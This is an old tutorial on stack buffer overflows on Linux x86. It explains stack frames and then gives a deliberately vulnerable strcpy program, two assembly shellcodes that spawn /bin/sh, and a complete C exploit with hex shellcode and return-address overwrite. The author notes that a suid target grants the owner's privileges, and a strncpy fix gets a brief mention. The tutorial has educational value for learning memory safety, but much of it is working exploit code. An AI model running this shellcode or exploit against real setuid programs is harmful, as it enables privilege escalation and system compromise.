<![CDATA[ Buffer Overruns, whats the real story?
By Lefty lefty@sliderule.geek.org.uk
Please note that the examples in this file are linux specific, however
the principle applies to many os's, however the actual stack frame may
vary (and does) on different platforms, as well as the machine code
(obviously :)
In its simplest terms, a buffer overrun is writing to more memory than
was reserved.. Since this happens on the stack, an understanding of
how the stack works is essiential to altering how a program works,
during runtime (normally code isnt executed off the stack, and some
OS's prevent it, as you can only execute from the code section and not
the data section.. However most unices (all I know of) allow it)..
The stack is something that almost every machine uses. Macs, PC's, unix
boxes of various flavors, etc. It is typically done almost the same way.
That is, starting at high memory and working its way down to low memory.
Since every operating system can deal with the stack differently I
will only go into how linux (on X86) does it (this file should however make it
fairly obvious how to figure out the stack on other platforms as well,
providing that there isnt a whole lot of indirection (such as on a prime)
but enough of this)..
Why use a stack? Well the stack allows for memory storage when you dont
have enough registers. Since it would be impossible to know exactly how
many registers every program that is to run on a general purpose computer
will need, there has to be limits for the registers. Also, could you imagine
doing a string via registers?!! :)
The stack starts at a high memory address and works its way down to
a low memory address. Things are PUSHed onto the stack or POPed off
the stack. When something is PUSHed onto the stack, the value that
is being PUSHed is copied into the memory location pointed to by
the stack pointer, and the stack pointer is decremented to reflect
the next spot on the stack. When something is POPed off, the reverse
happens.
With the stack set up this way, you can call a lot of routines and always
return with minimal effort (on the cpu/program)..
When a function is called, certain things change the stack.. Local args
are PUSHed onto the stack, then the return address (code segment), then
the old base pointer (so its known where on the stack you were before
this function was called), then local variables to that function..
Now, all we have to do is find out where a program will let us insert data
into it, and hopefully it wont check the length of data, so we can overwrite
onto the stack, and send in our code (we always write better code than
the original programmer :)
Lets say that we see a routine in a program like this:
hole(overflow)
char *overflow;
{
char buff[2];
strcpy(buff,overflow);
}
Well we know that strcpy(3) doesnt check the length of the data that is sent to
it, so we can easily overwrite the stack frame, and make that program execute
other code.. But how do we figure out where the stack frame is? Well from
the explanation before, buff would be on the stack right? So we could
modify hole() to tell us what its location is (by printing out its address),
or better yet use a debugger to tell us where it is.. However you do it
is really irrevalent.. If you only add code to a program you dont change
the stack..
Once we know its memory location its not far from exploiting it. Lets assume
that buff's address is BFFFFD48.. We could draw the stack as follows:
Value Addr Description
XX XX XX XX BF FF FD 52 overflow
XX XX XX XX BF FF FD 5E return address (from hole())
XX XX XX XX BF FF FD 4A old base pointer
XX XX XX XX BF FF FD 48 2 bytes reserved for buff (32 bit pad)
... This is where strcpy(3) and such adds
to the stack frame
Remember that the stack is basically backwards, so when you write to
buff you write to higher memory locations. strcpy(3) will also add on a null
to the end, so we have to take that into account (to avoid a segv, but it
shouldnt be a problem if we only use a small ammount of code).
Notice that we cant access the return addr from strcpy(3) but we can
for hole().. That is where we will target.. Now, we know that we have to
send in 2 bytes to fill buff, 4 bytes for the old base pointer (it has to be
accessable to us, or it will segv) and 4 bytes to fill in the return address..
Then our machine code (which the return addr will point to)
If we enter say:
ABCDBFFFFD52BFFFFD52xxxxxx...
The stack will look like:
xx xx xx xx BF FF FD 52 overflow
52 FD FF BF BF FF FD 5E return address
52 FD FF BF BF FF FD 4A old base pointer
CD AB XX XX BF FF FD 48 contents of buff (padded to 32bit)
... This is where strcpy(3) and such adds
to the stack frame
When hole() returns, it will use the return addr that we set, and execute
the code that we sent, provided that any args passed to hole() arent modified
after we set them (remember that is where the machine code is)..
I choose to put the machine code on the stack prior to the return address..
Some people choose to put it in the buffer that is going to be overflowed..
In this case you cant, as there is only 2 bytes and that is hardly enough
room, however in a lot of cases the buffer is much larger..
Lets say that we wanted to just execute a shell.. That is fairly simple
and straight forward. Here is some code that will do that..
This is the execve(2) command in asm (for linux). I have commented it so that
you know what it is doing a little better..
********************** shell.S -cut here- *********************************
.global _start
_start:
movl $programname, %ebx # ebx = program to execute
movl $arguments, %esi # setting up argv[0]
movl %ebx, (%esi) # set argv[0]
movl %esi, %ecx # ecx = char **argv
movl $environment, %edx # edx = char **envp
movl $0x0b, %eax # Syscall 11 is
int $0x80 # execve()
movl $1, %eax # syscall 1 is exit
int $0x80 # ebx holds error value
.data
arguments:
.byte 0,0,0,0,0,0,0,0 # this is argv
environment:
.byte 0,0,0,0 # this is envp
programname:
.asciz "/bin/sh" # this is the program to execute
********************** shell.S -cut here- *********************************
There is an assembler on most unix systems called as. You can use that to
compile this so you have something to play with.. A suitable command line
would be:
as -a -o shell.o shell.S > shell.asm ; ld -o shell shell.o
(the machine code (in hex) is contained in shell.asm)
For more information on this you may want to view the man page on execve(2).
The example just given is not quite valid.. It has nulls in it, and it makes
it harder becuase it has to have hardcoded offsets in it.. There is a better
way, which gheap did for splitvt...
I dont know who really wrote this, as what was given to me was just the
instructions, so I cant give credit (since there is a VERY limited way
you can do this, with the same functionality, I am using someone elses
code).. This code will jmp (local instrction) to just before the data,
then the call (local instruction) will push the address that follows that
instruction on the stack, and then go to almost the top.. This puts the
address of the program to execute on the stack.. It is careful to avoid
nulls as well..
********************** shell2.S -cut here- *********************************
.global _start
_start:
jmp ending # jmp to get the addr of the args
# jmp and call are local
secondstart:
popl %esi # get addr of programname
leal (%esi),%ebx # move addr in ebx
movl %ebx, 0x0B(%esi) # mov programnmae addr into args
xor %dx, %dx # zero out ecx
movl %edx, 7(%esi) # add the null to the end of program
name
movl %edx, 0x0F(%esi) # zero out argv[1]
movl $0x1234561b, %eax # set eax to
xorl $0x12345610, %eax # 0x0000000b
leal 0x0b(%esi), %ecx # mov argv[1] into ecx (null no args
)
mov %ecx, %edx # mov **envp into edx (null no envi
ronment)
int $0x80 # execve(ebx,ecx,edx)
# ebx=filename ecx=**argv edx=**envp
# the next 3 instructions totally needed, but it forces an exit so that
# any other vars you overwrote etc, wont cause the program that was
# overflowed to blow up..
xor %eax, %eax # zero out eax
inc %eax # set eax to 1
int $0x80 # exit(ebx) # ebx isnt set
ending:
call secondstart # call pushes addr of programname
programname:
.byte '/','b','i','n','/','s','h'
********************** shell2.S -cut here- *********************************
Now that we have a sample of the machine code, lets put it all together and
overrun something...
This program is vunerable to an overflow.. Granted its a really stupid
example..
********************** hole.c -cut here- *********************************
#include <string.h>
#include <stdio.h>
main(argc,argv)
int argc;
char **argv;
{
if(argc != 2) {
printf("Usage: %s overflow\n",argv[0]);
exit(1);
}
hole(argv[1]);
}
hole(overflow)
char *overflow;
{
char buff[2];
strcpy(buff,overflow);
}
********************** hole.c -cut here- *********************************
Here is one example of an exploit for hole.c..
********************** exp.c -cut here- *********************************
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define OFFSET 4
#define BUFFER_SIZE 2
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
u_char execve[] =
"\xeb\x24" /* jmp ending */
/* secondstart: */
"\x5e" /* popl %esi */
"\x8d\x1e" /* leal (%esi),%ebx */
"\x89\x5e\x0b" /* movl %ebx, 0x0B(%esi) */
"\x31\xd2" /* xor %edx, %edx */
"\x89\x56\x07" /* movl %edx, 7(%esi) */
"\x89\x56\x0f" /* movl %edx, 0x0F(%esi) */
"\xb8\x1b\x56\x34\x12" /* movl $0x1234561b, %eax */
"\x35\x10\x56\x34\x12" /* xorl $0x12345610, %eax */
"\x8d\x4e\x0b" /* leal 0x0b(%esi), %ecx */
"\x89\xca" /* mov %ecx, %edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax, %eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
/* ending: */
"\xe8\xd7\xff\xff\xff" /* call secondstart */
"/bin/sh"; /* programname */
if((buff = malloc(BUFFER_SIZE+8+strlen(execve)))==0) {
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE);
ptr += BUFFER_SIZE;
/* write the return addresses */
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() - OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
/* stick asm code into the buffer */
memcpy(ptr,execve,strlen(execve));
execl("/home/lefty/stack/hole", "hole", buff, NULL);
}
********************** exp.c -cut here- *********************************
Now lets look at how this program works..
The stack looks something like when hole is run and hole() is called:
| Previous Stack Area | Higher memory addr
| argc, argv, envp, as well |
| as other info (varies if elf/a.out) |
|------------------------------------------|
| char *argv[1] |
|------------------------------------------|
| Return Address |
|------------------------------------------|
| Old Base Pointer |<- Base Pointer points here
|------------------------------------------|
| 2 bytes for char buff[2] |
| 32 bit pad (4 bytes total) |
|------------------------------------------|
| |<- ESP will point here
| | which is the next
| | available place on
| | the stack
| |
| |
| | Lower memory addr
Now when the strcpy(3) is called, it will copy ALL of the data that argv[1]
points to into buff.. After the first 2 bytes we are writing on a portion
of the stack that we really shouldnt be allowed to, but for some reason we
are allowed to..
So, we fill the buffer full of garbage that is a non null (a null will cause
strcpy(3) to stop copying data), then write the old base pointer, then the
return address (when hole() will return to main()), and then the machine
code that will allow us to execute a shell.. If hole is suid we get a euid
of whatever user owns it..
A patch for hole is really simple.. Instead of using strcpy(3) use strncpy(3)
and specify a length that is less than or equal to the total length of
the buffer it is going into.. Remember that strcpy(3) and strncpy(3) both
copy the null at the end of the string..
If you notice I had 2 things defined in exp.c.. I will tell you how
I got them.. I'd like to go into BUFFER_SIZE first as its easier to explain..
That is the size of the buffer to the point where we would start writing
on the stack.. If there were other variables on the stack before the buffer
that we are filling, those also have to be added to this total.. In this case
there werent any, so its the sizeof buff..
The second thing that I defined was OFFSET.. This is what is subtracted from
the stack pointer as returned by the asm routine (return values in C are stored
in EAX) in the exploit program.. This is computed by:
When execl(3) is called, it changes the stack frame.. There is an environment
variable that is set to the current program running.. Instead of being
'exp' it is now '/home/lefty/stack/hole' which is 19 bytes longer.. Since
there is 32 bit padding, its 20 bytes.. There is also 64 bytes added in
argv[1].. This is the execve, as well as the 2 pointers and the
BUFFER_SIZE.. That brings our total to 84 bytes that are added (ie lower
stack address).. Some of this is offset however.. There are 68 bytes of
variables (32 bit padded) in the exploit program that are lost (beucase they
arent in hole).. So our total now is 16 bytes.. argv[0] is changed to the
first arg in execl(3) which as we discussed earlier was 19 bytes longer, after
the 32 bit padding, its 20 bytes (after starting the new process argv[0] is
changed to the 2nd arg in execl(3) however its already taken the space on the
stack).. Which means our total is -4 bytes..
Now, since in the exploit program there isnt any more stack space taken before
the spot where we will write our machine code, we dont have to do anymore
math.. If however there was some stack stuff, that would have to be computed,
and subtracted from our current value (-4)..
You should have learned by now how to get the offsets, buffer sizes, etc to
write your own exploits if that is what pleases you, or at least know that
you can, after all isnt hacking supposed to be about learning, and not about
who has the 0day scripts? Or is it just me...
One last thing.. Dont ask me for exploit code after reading this, I will not
give it to you.. If you really really have to have exploit code, write it
yourself, you may learn something new when you do it..
]]>
